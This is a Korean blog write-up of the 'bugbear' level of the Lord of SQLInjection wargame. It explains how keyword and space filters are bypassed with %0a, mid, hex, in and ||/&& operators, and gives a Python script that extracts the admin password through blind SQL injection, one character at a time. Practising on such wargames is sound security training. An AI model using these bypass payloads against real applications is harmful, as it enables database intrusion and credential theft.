Bace
LOS - bugbear 본문
문제는 다음과 같다.
pw는 '를 필터링하고 있고, no에는 ' 와 substr, ascii, =, or, and, 공백, like, 0x 등을 필터링하고 있다.
공백을 우회하기 위해 %0a
substr, ascii를 우회하기 위해 mid와 hex
like를 우회하기 위해 in
or, and를 우회하기 위해 ||, &&를 사용하였다.
처음엔 darkknight와 같이 char를 통해 admin을 보내봤으나, in으로는 char를 못받는것 같다.
그래서 ("admin") 을 통해 보내보았다.
Hello admin이 뜬다.
코드를 통해 pw를 찾았다.
import requests
answer = ''
for i in range(1,9):
for j in range(33,128):
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=&no=1%0a||%0aid%0ain%0a(%22admin%22)%0a%26%26%0a(hex(mid(pw,{},1)))%0ain%0a(hex({}))'.format(i,j)
cookies = {'PHPSESSID':'자신의 PHPSESSID'}
response = requests.get(url=url,cookies=cookies)
if response.text.find("Hello admin") != -1:
answer += chr(j)
print 'Found {}st letter'.format(i)
break
print '{}st letter {}th '.format(i,j)
print answer
solve
'LOS' 카테고리의 다른 글
LOS - assassin (0) | 2020.01.21 |
---|---|
LOS - giant (0) | 2020.01.21 |
LOS - darkknight (0) | 2020.01.20 |
LOS - golem (0) | 2020.01.18 |
LOS - skeleton (0) | 2020.01.17 |